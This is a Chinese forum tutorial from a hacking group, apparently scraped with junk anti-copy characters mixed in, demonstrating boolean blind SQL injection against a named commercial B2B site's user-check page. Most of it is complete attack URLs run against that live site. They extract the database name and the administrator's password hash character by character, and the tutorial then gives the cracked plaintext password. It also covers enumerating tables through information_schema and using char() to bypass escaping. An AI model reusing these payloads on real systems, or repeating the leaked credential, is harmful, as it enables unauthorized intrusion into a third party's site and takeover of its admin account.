|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。. y3 X0 r" a1 L; m
阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲* p. f7 D- o7 [+ J/ W2 ?! W! p
作者:YoCo Smart0 r W! S' e; |$ j. Q% F' b+ D
来自:习科信息技术 - http://BlackBap.Org
) {* \) \7 M: q我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
! w" [# T; \/ k5 \- I0 ]% P [( L
- \3 o, f' m$ K. r5 B0 [复制代码' L5 N( Q" u6 I+ a, j/ J1 d% N' l
错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }$ y9 }$ ]% _, ]% P2 A/ c
8 {' C; ?+ z* G5 [9 F6 t0 d
复制代码% P7 |9 ?: F' R: o
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合' E/ V s% e0 z* y
那么我们先从union的盲注来看吧。, J8 Q) _5 o9 F9 p
先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23 y6 l; n! Y) q, G3 a6 _+ t0 U9 P' s
: d' b$ P) ~( V5 e
复制代码
4 ]3 A8 H7 ~4 q这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'$ _/ B' `" R6 L* H1 z0 k( W
, Z1 Y6 r5 j' B
复制代码
2 @* }# d- w$ T8 |$ |) y' D/ t因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
& P; U3 e& |# M再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny+ O; i4 _( s0 [4 A8 j
4 E4 I" H9 P. | z- x/ E$ ]: [! t复制代码
8 W( l& `0 e. Y) S) }0 h2 slength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。4 p$ W. l. o3 e+ |" M: t9 y
这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。; ?* \- }) ]3 D( f5 O5 W ~/ X3 `
再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
: e: o/ R/ ] z+ j5 W8 i
. o; b& t6 S* l: q* S0 x! j复制代码0 ?, r [% Y% O
这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。
- o/ Z) s" Z5 u8 C- w& b这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句
# e+ n: w' T# q/ x, k2 ]& T那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly
/ I: ~0 D' q, U / n9 d$ u0 z0 J
复制代码3 F" w4 {) h; {6 U6 q6 O
这样,猜数据的方法你肯定是懂了
9 t7 K4 w+ ?+ c) M- T4 n( l# B/ \, J. ?
% ^0 A7 S" n4 p- ^
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23+ B8 Y4 |- J& Z) r/ B
$ Q* i6 D# u) @: y8 i复制代码
& Y0 t5 w" z0 e$ t) q y: _实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
3 G& M. j! ^- v9 b; t' R2 @" M
7 O1 J7 v0 K' \4 U8 x复制代码# L$ F/ L' l0 x! Q% [
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。7 P3 a/ S3 R9 |4 i: h
关于limit x,y 的用法,可以参考MySQL手册8 W5 m y- u' y% W
$ t* k" P1 K- [4 f
最后剩下的要说的就是ascii函数和hex函数了
2 r& u) @+ X0 z这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
; O" u% e0 `7 y# ~! }( T
8 N$ r4 H. M2 b7 N0 t复制代码- q4 G- V7 ]3 _
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|